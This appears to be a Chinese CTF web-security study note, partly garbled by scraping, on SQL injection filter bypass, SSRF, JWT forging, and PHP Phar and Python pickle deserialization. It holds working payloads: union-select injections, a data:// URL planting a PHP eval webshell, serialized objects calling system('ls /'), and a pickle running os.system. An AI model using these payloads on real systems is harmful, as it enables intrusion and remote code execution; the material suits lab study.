爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23
PS: (双写绕过)
因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。
比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为 ununionion ,这样红色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]ez_sql) EZ_sql(大小写绕过)
Payload:
1 | import requests |
(2)时间盲注
1 | import requests |
(3)布尔盲注
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World)
XXS
存储型
反射型
DOM型
针对CSS的XSS
XXE和SSRF
主要是提一下原理和模板
XML
第三届黄河流域公安院校网络安全技能挑战赛 web 全解 - LamentXU - 博客园
里面的上传XML文件进行RCE
SSRF
127.0.0.1
sudo.cc
url=http://0/flag.php
(host位数小于三)url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
1 | header("Location: http://127.0.0.1/flag.php"); |
如果限制host小于5
1 | url=http://0/flag.php |
gethostbyname
是一个简单且实用的函数,用于将主机名解析为 IP 地址
php
1 | if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { |
filter_var($ip, FILTER_VALIDATE_IP)
:- 这个函数用于验证
$ip
是否是一个有效的 IP 地址(IPv4 或 IPv6)。
- 这个函数用于验证
FILTER_FLAG_NO_PRIV_RANGE
:- 这是一个过滤标志,表示
filter_var
应该拒绝私有 IP 地址。 - 私有 IP 地址范围包括:
10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255
- 这是一个过滤标志,表示
FILTER_FLAG_NO_RES_RANGE
:- 这是一个过滤标志,表示
filter_var
应该拒绝保留 IP 地址。 - 保留 IP 地址范围包括:
127.0.0.0 - 127.255.255.255
(本地回环地址)169.254.0.0 - 169.254.255.255
(链路本地地址)- 其他特殊用途的 IP 地址(如
0.0.0.0
等)
- 这是一个过滤标志,表示
1 |
|
1 | if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ |
1 | parse_url() |
禁止了所有字母和.
,那么我们使用2130706433来表示127.0.0.1
[BUUCTF在线评测](https://buuoj.cn/challenges#[HITCON 2017]SSRFme) SSRFME
1 | http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/?url=data:text/plain,%27%3C?php%20@eval($_POST[%27capt%27])?%3E%27&filename=upload/test.php |
蚁剑连接即可
[NSSRound#20 Basic]CSDN_To_PDF V1.2 | NSSCTF
JWT
重要工具就是C-JWT-Cracker(爆破Key)和无影(解码和构造),当然你用在线工具也是可以的()
概念
JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息
应用场景
- Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录,后续每个请求都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性,因为它的开销很小,并且可以轻松地跨域使用
- Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言,JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名,例如,用公钥/私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改
格式
组成为:
header.payload.signature
Header
header典型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)
Payload
JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private
- Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等
- Public claims : 可以随意定义
- Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明
Signature
为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可
HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)
下面给个例子:
工作方式
(图扒上面那个博客里的)
其实就类似Cookie
服务器上的受保护的路由将会检查Authorization header
中的 JWT 是否有效,如果有效,则用户可以访问受保护的资源
CTF中的应用
主要就是,你可以伪造成admin访问
比如改什么username或者role,再比如爆破一个key,然后带着那个key再去构造admin,这点在下文的 ikun
中有所体现
反序列化漏洞
主要是Php
PHP反序列化从初级到高级利用篇 - fish_pompom - 博客园
PHP之序列化与反序列化(POP链篇)_php反序列化pop链-CSDN博客
为什么需要序列化
当需要将 PHP 中的复杂数据类型(如数组、对象等)存储到文件、数据库或其他存储介质中时,序列化可以把它们转换为一种可存储的线性字符串格式。以对象为例,如果不进行序列化,直接存储可能会面临数据结构难以保存、存储效率低下等问题。而序列化后,可以完整地保存对象的状态和结构,之后再通过反序列化恢复成原来的对象
简单来说,PHP 文件在执行结束以后就会将对象销毁,为了长久保存对象,就序列化,要用的时候就反序列化一下就好了
E.g
1 |
|
关键函数 serialize():将PHP中创建的对象,变成一个字符串
private属性序列化的时候格式是 %00类名%00成员名
protected属性序列化的时候格式是 %00%00成员名*
关键要点:
在Private 权限私有属性序列化的时候格式是 %00类名%00属性名
在Protected 权限序列化的时候格式是 %00%00属性名*
然后这里的Private和Protected不可以在外部调用更不能修改赋值,这个时候就需要利用构造函数以及在内部修改
你可能会发现这样一个问题,你这个类定义了那么多方法,怎么把对象序列化了以后全都丢了?你看你整个序列化的字符串里面全是属性,就没有一个方法,这是为啥?
序列化只序列化属性,不序列化方法
- 反序列化的时候需要依托环境,因为不序列化方法,所以不能脱离作用域(类似解压缩)
- 反序列化是依托属性来进行攻击
原理
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的
反序列化漏洞的成因在于代码中的 unserialize()
接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击
前提
要用 unserialize()
函数,且进行反序列化的参数必须可控
在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象
但是反序列化只是控制了是属性,如果人家本身就是要反序列化后调用该类的某个安全的方法,我们又无法直接更改别人写好的代码,这时就素手无策了
这是就有魔法方法的出现了,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,只要里面出现了我们可以利用的函数,我们就可以操控其对象属性的值来操控函数,进而达到攻击目的
反序列化标识:
1 | a - array |
魔法方法
对于php高版本来说,以下有些函数已被弃用,但是在CTF中仍会出现()
__isset()
当对不可访问(比如私有、受保护或者未定义)的类属性调用 isset()
或者 empty()
函数时,__isset()
方法会被自动调用。它允许你自定义当检查这些不可直接访问属性是否存在时的行为(就是布尔类型,看括号里的存不存在)
假设有一个 Person
类:
1 | class Person { |
__wakeup
与
__sleep()
相对应,当对象被反序列化时,__wakeup()
魔术方法会被自动调用主要用于在反序列化时重新初始化对象可能需要的资源。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20class ResourceHandler
{
private $resource;
public function __construct()
{
$this->resource = fopen("example.txt", "r");
}
public function __sleep()
{
fclose($this->resource);
return array("resource");
}
public function __wakeup()
{
$this->resource = fopen("example.txt", "r");
}
}
$resourceHandler = new ResourceHandler();
$serializedResource = serialize($resourceHandler);
$deserializedResource = unserialize($serializedResource);在这个例子中,当对象被反序列化时,
__wakeup()
方法会被调用,重新打开文件资源
__construct
当创建一个对象时,它会被自动调用
构造方法用于在创建对象时初始化对象的属性等操作。例如:
1
2
3
4
5
6
7
8
9
10class Person
{
public $name;
public function __construct($name)
{
$this->name = $name;
}
}
$person = new Person("Alice");
//$person -> name = "Alice";在上面的例子中,当创建
Person
类的实例$person
时,__construct()
方法被调用,将传入的参数"Alice"
赋值给对象的$name
属性
__destruct
这是 PHP 面向对象编程中的析构方法。当对象被销毁时,它会被自动调用
析构方法通常用于执行清理工作,如关闭数据库连接、释放资源等。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13class DatabaseConnection
{
private $connection;
public function __construct()
{
$this->connection = mysqli_connect("localhost", "user", "password", "database");
}
public function __destruct()
{
mysqli_close($this->connection);
}
}
$db = new DatabaseConnection();在这个例子中,当
$db
对象的生命周期结束(如脚本执行完毕或者对象被显式销毁)时,__destruct()
方法会被调用,关闭数据库连接
__sleep()
这个魔术方法用于在对象被序列化时执行一些操作。当使用
serialize()
函数来序列化对象时,__sleep()
会被自动调用它通常用于清理对象,如关闭对象中的资源句柄或者指定对象中哪些属性可以被序列化。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16class ResourceHandler
{
private $resource;
public function __construct()
{
$this->resource = fopen("example.txt", "r");
}
public function __sleep()
{
fclose($this->resource);
// 可以指定哪些属性可以被序列化
return array("resource");
}
}
$resourceHandler = new ResourceHandler();
serialize($resourceHandler);在这个例子中,当对
ResourceHandler
对象进行序列化时,__sleep()
方法被调用,先关闭资源文件句柄
__get()
& __set()
在 PHP 面向对象编程中,
get()
和set()
通常用于封装类的属性,提供对属性的受控访问set()
方法:用于设置对象属性的值。它可以在设置属性值时添加额外的逻辑,如验证数据的有效性等。例如:1
2
3
4
5
6
7
8
9
10
11
12
13
14class Product
{
private $price;
public function setPrice($price)
{
if ($price >= 0) {
$this->price = $price;
} else {
throw new Exception("Price cannot be negative");
}
}
}
$product = new Product();
$product - > setPrice(100);在这个例子中,
setPrice()
方法用于设置产品价格,同时检查价格是否为负数,如果是负数则抛出异常。
__call()
调用一个不存在的方法时,会触发 __call()
魔法方法
1 | class Example |
假设我们有一个类 Example
,其中定义了 __call()
方法,没有定义 someNonExistentMethod()
,直接调用 someNonExistentMethod()
就会触发 __call()
__invoke()
- 当一个对象被当作函数调用时,
__invoke()
方法会被自动调用。这使得对象可以像函数一样被调用,提供了更多的灵活性,可以创建可调用的对象,这样的对象在某些场景下可以作为回调函数等使用。
1 | class InvokableClass |
__toString()
在 PHP 中,__toString()
是一个魔术方法,用于定义对象被当作字符串使用时的返回值。当你尝试将一个对象转换为字符串(例如,直接将对象与字符串拼接,或者用 echo
输出对象)时,PHP 会自动调用该对象的 __toString()
方法
1 | class MyClass { |
触发条件:
1 | (1)echo ($obj) / print($obj) 打印时会触发 |
call_user_func_array()
1 | call_user_func_array(callable $callback, array $param_array): mixed |
- 参数 :
$callback
:要调用的回调函数,可以是函数名、类的方法、静态类方法等$param_array
:一个数组,包含要传递给回调函数的参数
- 返回值 :返回回调函数的返回值
示例
1 | class A { |
create_function()
create_function()
是 PHP 中的一个函数,用于创建匿名函数(也称为 lambda 函数)。这个函数在 PHP 5.3.0 引入了匿名函数语法之前非常有用,但现在基本已被弃用
1 | string create_function ( string $args , string $code ) |
- 参数 :
$args
:一个包含函数参数列表的字符串,参数之间用逗号分隔。例如:"$arg1, $arg2"
$code
:一个包含函数主体代码的字符串
- 返回值 :返回唯一的一个标识符(作为字符串),这个标识符可以用来调用所创建的函数
示例
1 | // 创建一个简单的函数,将字符串转换为大写 |
parse_url()
调用顺序
1 |
|
输出结果应该是:
1 | __construct |
两个__destruct()说明存在两个对象,一个是实例化时候创建的,一个是反序列化后生成的对象
利用魔法方法进行攻击
1 |
|
这里可以看到unserialize()
是可控的,就可以利用反序列化,然后看类,第一个类触发时自动调用L()
这个类,然后销毁时自动调用Evil()
,然后我们看Evil这边有个eval()
函数,里面执行的是test2
,那我们在构造序列化的时候就可以给这个$test2赋值为恶意代码,然后Evil()触发的时候就会执行我这个恶意代码
Payload:
1 |
|
php一般反序列化
[SWPUCTF 2021 新生赛]ez_unserialize | NSSCTF ez_unserialize
源码:
1 |
|
可以看到类wllm中,__destruct()
方法被重写,需要修改类成员变量内部值来获取flag,因为__destruct()
方法是在对象被销毁是调用,由此我们先创建一个对象,给其成员赋值然后进行序列化
1 |
|
得到序列化的结果
1 | O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} |
将结果传入/?p=O:4:“wllm”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf”;}
最后得到flag
绕过__wakeup()
只需要令序列化字符串中标识变量数量的值大于实际变量即可绕过__wakeup()函数
攻防世界 Web_php_unserialize
1 |
|
绕过__wakeup()和正则表达式,但是因为这里的private复制的话会丢失\00,所以直接才有代码中替换
1 |
|
?var = TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
php-Pop链
pop又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链
总结来说,就是一个接一个的调用,先找头和尾,然后看看魔术方法谁能互相触发,最后构造
来看个例子
1 |
|
先找尾巴,很明显在w44m类中的Getflag()中,再顺着向前推,看看有没有什么可以调用Getflag()
看了一圈发现了w33m类中的__toString()中有个函数调用而且类名和函数名都是变量,那么这个__toString() 就和Getflag()连接起来了,再向前推,触发__toString()的条件是当一个对象被当作字符串处理,一看便看到了w22m中__destruct()
最后得到的pop链是:首–>w22m : : __destruct()
–> w33m : : __toString()
–>w44m : : Getflag()–>尾(flag)
分析完毕,接下来就是构造exp
exp:
1 |
|
ISCC2025 犯我大吴疆土
1 |
|
构造Payload
- 设置
TieSuoLianHuan
的yicheng
为 php://filter/convert.base64-
encode/resource=flag.php (需URL编码)
- 将
TieSuoLianHuan
实例赋值给GuDingDao
的desheng
- 将
GuDingDao
实例赋值给Jie_Xusheng (B)
的 jiu 属性 - 将
Jie_Xusheng
(B) 作为Jie_Xusheng (A)
的 sha 属性 - 序列化对象A,确保属性命名和类名正确
LitCTF 2025]君の名は | NSSCTF
进去直接能看到源码:
1 |
|
这边把O改成C可以用下面几个函数:
1 | ArrayObject::unserialize |
就是在最后
$b = array("PusTR"=>$c)
(创建一个关联数组,将对象 $c
放入数组中并赋予键名为 "PusTR"
。这个数组随后被用来创建一个 ArrayObject
对象 $b,并被序列化输出,这里的键名随意,后面对象为前面反序列化对象)
$a = new ArrayObject($b);
回归源码:
先看开头的:
1 | create_function("", 'die(`/readflag`);'); |
创建了一个匿名函数然后执行/readflag,所以这里我们需要调用这个匿名函数就可以输出flag
而匿名函数名字可以直接输出:
1 |
|
但是这边注意,每次刷新匿名函数的名字都会变,所以需要打开网站的第一次输入
知道了匿名函数的名字之后,我们还需要知道什么原生类可以调用匿名函数,又往下看:
1 | public function __call($func,$args){ |
这边只有函数名是可控的,就是说需要调用一个无参函数
而ReflectionFunction的invoke方法可以调用函数,且无参
(借用一下官方WP中的图)
再往下看:
1 | public function __call($func,$args){ |
这里的$func会被赋值为flag,然后$args中就是flag()括号里的值
分析完就很清晰了:
1 |
|
(建议重开环境再传)
字符逃逸
[[安洵杯 2019]easy_serialize_php - LLeaves - 博客园](https://www.cnblogs.com/LLeaves/p/12813992.html#2. php反序列化字符逃逸)
安洵杯 2019]easy_serialize_php ——– 反序列化/序列化和代码审计_ctf 反序列化变量覆盖-CSDN博客
键值逃逸
- 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
- 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号
{}
外的就都被扔掉。
php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但是反序列化是有一定的识别范围的,比如:
1 |
|
两者运行效果是一样的
按照这题来说,以下代码:
1 | <?php |
而题中代码将flag替换成空,那么结果变为:
1 | a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
而序列化的时候,当内容被过滤为空时,会向后检查过滤掉字符的个数(这里是8)是否符合序列化条件,比如这里之后的;s:58:""
,又以 ; 结尾,正好满足规则,所以学历化结果就是:
1 | "s:117:"a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";" |
发现成功变成了 s:8:"";s:58:"";
[BUUCTF在线评测](https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php) easy_serialize_php
现在来看题目源码:
1 |
|
这里我们只能控制fuction里的值,但是不能控制img里的值,(因为$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的)然而我们这样让他过滤了之后,就可以间接控制到img对应的值。
E.g:
1 |
|
此时第二段中第一个}之后并未被丢弃,但是过滤之后:
1 |
|
发现}之后的就被舍弃了,留下了我们想要他读取的img值
所以最终 payload:
GET:?f=show_image
POST:_SESSION[‘flagflag’]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
上面image的值仅供参考
总结思想,其实就是利用过滤机制:
键1(过滤):值1 -> new键1
键2 -> new值1
值2(含构造的img)-> 键[‘img’] 然后后面跟上你要他访问的
原本的img因为成为多余字符了所以被丢弃
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]逃) 逃
1 |
|
发现只能对key进行赋值,也是想到反序列化逃逸,但是我想不到()
然后我们看 s:9:”cat /flag”;} 和 s:6:”whoami”;}
传入
1 |
|
变为:
1 | O:7:"GetFlag":2:{s:3:"key";s:29:"";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";} |
这样的话被挤掉的 “;s:3:”cmd”;s:6:”whoami”;} 就有26个,然后whoami跟cat /flag比起来少了3个,那么我们就需要替换掉29个,即需要29个bad
所以payload:
1 | "badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";} |
GC回收机制
然后一般中在题目中遇到以下,就可以利用GC回收机制来做:
1 | throw new Exception("What are you dong ?"); |
在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。
也就是在最后序列化前进行 $A=array($a,NULL);
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]More Fast) MoreFast
POP链:
1 | Start.__destruct() --> Crypto.__toString() --> Reverse.__get() --> Pwn.__invoke() --> Web.evil() |
EXP:
1 |
|
2025H&NCTF - 2025H&N::CTF ez_php
1 |
|
看到throw new Exception('What do you want to do?');
,很明显的GC回收机制:
1 |
|
然后将i:1改成i:0
即
data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:0;}
Phar反序列化
[文件上传与Phar反序列化的摩擦_nssround#4 swpu]1zweb(revenge)-CSDN博客
php -d phar.readonly=0 class5.php
(核心出装)
phar反序列化+两道CTF例题_ctf phar-CSDN博客
Phar与Stream Wrapper造成PHP RCE的深入挖掘-先知社区
phar 文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
简介
phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。(官网)
总而言之就是像file://或者data://这种流包装器,phar可以让多个文件归档到同一个文件,在不经过解压的情况下被php访问并执行
标识
- 必须以
__HALT_COMPILER();?>
来结尾 - 本质上是压缩文件,以序列化的形式储存在用户自定义的meta-data
漏洞利用条件
- phar可以上传到服务器端(存在文件上传)
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
/
phar
等特殊字符没有被过滤
phar生成
注意php.ini中的
1 |
|
绕过方式
当环境限制了phar不能出现在前面的字符里。可以使用 compress.bzip2:// 和 compress.zlib:// 等绕过
1 | compress.bzip://phar:///test.phar/test.txt |
也可以利用其它协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar
禁用了<?
1 | class Check{ //检查文件内容是否有<? |
GIF格式验证可以通过在文件头部添加 GIF89a 绕过
1 | 1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub |
其他利用(sql)
Postgres
1 | <?php |
当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。
MySQL
LOAD DATA LOCAL INFILE
也会触发phar造成反序列化
1 |
|
例题
国城杯 线下赛 web wp - LamentXU - 博客园
[SUCTF-2019/Web/Upload Labs 2 at master · team-su/SUCTF-2019](https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2)
ezphar
1
bypass
[NSSRound#4 SWPU]1zweb | NSSCTF
POC:
1 |
|
修复签名:(修改了类型数量)
1 | from hashlib import sha256 |
kali自带gzip压缩后更改为白名单后缀上传
访问phar://upload/3.png
Pickle反序列化
CTF题型 Python中pickle反序列化进阶利用&;例题&;opache绕过_python pickle ctf-CSDN博客
CTF-python pickle反序列化 - sijidou - 博客园
简介
pickle是Python的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__
魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__
魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到Python的反弹shell.
前置知识
python对象
在python中,对象的概念十分广泛.
对象是数据和功能的结合体。Python是一种面向对象编程语言,它使用对象来组织代码和数据。在Python中,几乎所有的东西都是对象,包括整数、浮点数、列表、元组、字典、函数、类等。
一个Python对象通常包含以下部分:
- 身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数
id()
来获取对象的身份 - 类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数
type()
来获取对象的类型 - 值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列
- 属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息
- 方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作
Python面向对象
python是一门面向对象的语言.也正因为python面向对象的特性,使得我们有更加丰富的选择进行绕过
在Python中,面向对象的思想和php是一致的,只是定义类的代码,调用类函数和类属性的方式和php不同
python中用.
调用实例的属性和方法
python中存在类属性和实例属性,实例属性只对一个实例生效,类属性对一个类生效.定义实例属性的方法是用__init__
魔术方法.调用类属性的方法是类名.变量名
或者self.__class__.变量名
同样地,python的面向对象也有私有属性,私有方法,类的继承等
关于序列化和反序列化的函数
pickle.dump()
pickle.load()
pickle.dumps()
pickle.loads()
p = pickle.loads(urllib.unquote(become))
1 | urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一 |
个类,类里面的 __reduce__
python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为:
pickle.dump(obj, file, [,protocol])
1 | 函数的功能:将obj对象序列化存入已经打开的file中。 |
pickle.load(file)
1 | 函数的功能:将file中的对象序列化读出。 |
pickle.dumps(obj[, protocol])
1 | 函数的功能:将obj对象序列化为string形式,而不是存入文件中。 |
pickle.loads(string)
1 | 函数的功能:从string中读出序列化前的obj对象。 |
python魔术方法
和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__
魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__
魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果
除此之外还有很多魔术方法.例如初始化函数__init__
和构造函数__new__
.和php类似,python中也有魔法属性.例如__doc__
,__name__
,__class__
,__base__
等
pickle.loads()
会在反序列化一个实例时自动引入没有引入的库
构造方法__new__
- 在实例化一个类时自动被调用,是类的构造方法
- 可以通过重写
__new__
自定义类的实例化过程
初始化方法__init__
- 在
__new__
方法之后被调用,主要负责定义类的属性,以初始化实例
析构方法__del__
- 在实例将被销毁时调用
- 只在实例的所有调用结束后才会被调用
1 | __getattr__ |
- 获取不存在的对象属性时被触发
- 存在返回值
1 | __setattr__ |
- 设置对象成员值的时候触发
- 传入一个self,一个要设置的属性名称,一个属性的值
1 | __repr__ |
- 在实例被传入
repr()
时被调用 - 必须返回字符串
1 | __call__ |
- 把对象当作函数调用时触发
1 | __len__ |
- 被传入
len()
时调用 - 返回一个整型
1 | __str__ |
- 被
str()
,format()
,print()
调用时调用,返回一个字符串
栈
栈是一种存储数据的结构.栈有压栈和弹栈两种操作
可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹
什么是PVM
pickle是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的
为什么要学习pickle?
pickle实际上可以看作一种独立的语言,通过对
opcode
的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode
灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
PVM由以下三部分组成
- 指令处理器:从流中读取
opcode
和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回 - stack:由 Python 的
list
实现,被用来临时存储数据、参数以及对象 - memo:由 Python 的
dict
实现,为 PVM 的整个生命周期提供存储
语法
操作码 | 描述 | 具体写法 | 栈上的变化 | memo 上的变化 |
---|---|---|---|---|
c |
获取一个全局对象或导入一个模块 | c[module]n[instance]n |
获得的对象入栈 | 无 |
o |
寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象) | o |
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i |
相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) |
i[module]n[callable]n |
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N |
实例化一个 None | N |
获得的对象入栈 | 无 |
S |
实例化一个字符串对象 | S'xxx'n (也可以使用双引号、’ 等 Python 字符串形式) |
获得的对象入栈 | 无 |
V |
实例化一个 UNICODE 字符串对象 | Vxxxn |
获得的对象入栈 | 无 |
I |
实例化一个 int 对象 | Ixxxn |
获得的对象入栈 | 无 |
F |
实例化一个 float 对象 | Fx.xn |
获得的对象入栈 | 无 |
R |
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R |
函数和参数出栈,函数的返回值入栈 | 无 |
. |
程序结束,栈顶的一个元素作为 pickle.loads() 的返回值 |
. |
无 | 无 |
( |
向栈中压入一个 MARK 标记 | ( |
MARK 标记入栈 | 无 |
t |
寻找栈中的上一个 MARK,并组合之间的数据为元组 | t |
MARK 标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) |
向栈中直接压入一个空元组 | ) |
空元组入栈 | 无 |
l |
寻找栈中的上一个 MARK,并组合之间的数据为列表 | l |
MARK 标记以及被组合的数据出栈,获得的对象入栈 | 无 |
\] |
向栈中直接压入一个空列表 | \] |
空列表入栈 | 无 |
d |
寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对) | d |
MARK 标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} |
向栈中直接压入一个空字典 | } |
空字典入栈 | 无 |
p |
将栈顶对象储存至 memo_n | pnn |
无 | 对象被储存 |
g |
将 memo_n 的对象压栈 | gnn |
对象被压栈 | 无 |
0 |
丢弃栈顶对象 | 0 |
栈顶对象被丢弃 | 无 |
b |
使用栈中的第一个元素(储存多个属性名:属性值的字典)对第二个元素(对象实例)进行属性设置 | b |
栈上第一个元素出栈 | 无 |
例如:
1 | payload = b'''(cos |
解释:
(
:向栈中压入一个 MARK 标记cos
:导入os
模块system
:获取os.system
函数并压栈S'cat /f* > /tmp/a'
:将字符串'cat /f* > /tmp/a'
压栈o.
:寻找栈中的上一个 MARK,以之间的第一个数据(os.system
函数)为 callable,第二个数据(字符串)为参数,执行该函数。.
表示程序结束,栈顶的一个元素作为pickle.loads()
的返回值
1:栈的初始状态
1 | 栈底 |
2:导入 os
模块
1 | 栈底 |
3:获取 os.system
函数
1 | 栈底 |
4:压入命令字符串
1 | 栈底 |
5:调用 os.system
函数
1 | 栈底 |
执行 o
操作码后,os.system
函数被调用,参数为 'cat /f* > /tmp/a'
。栈中的 MARK
、os模块
、os.system函数
和命令字符串都被弹出,函数的返回值(如果有的话)会被压入栈
6:结束序列化
1 | 栈底 |
执行 .
操作码后,序列化过程结束,栈顶的值(None)作为 pickle.loads()
的返回值
也可以使用以下代码片段来生成Pickle序列化:
1 | import pickle |
